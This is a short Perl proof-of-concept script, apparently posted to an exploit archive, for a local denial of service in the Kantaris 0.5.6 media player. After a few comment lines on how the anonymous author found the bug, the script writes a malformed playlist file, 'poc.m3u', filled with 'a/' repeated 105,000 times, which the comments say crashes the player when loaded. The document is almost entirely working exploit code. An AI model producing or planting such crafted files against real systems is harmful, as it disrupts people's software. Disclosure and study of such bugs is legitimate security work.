1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
#!/usr/bin/perl #Kantaris 0.5.6 local Denial of service Poc # # #Author: Anonymous # #How i find this bug: I was looking for mkv player because i downloaded 13 seasons #of south park. I found Kantaris player and decided to chek it's security. # # # # # #Bug info:Kantaris 0.5.6 crashes while loading poc playlist.Loadingthat kind of playlist #should be possible and is possible on other media players. # # # # # # # #Here is Proof on concept......... $file="poc.m3u"; $poc='a/' x 105000; open(myfile,">>$file"); print myfile $poc; close(myfile); print "Finished\n"; |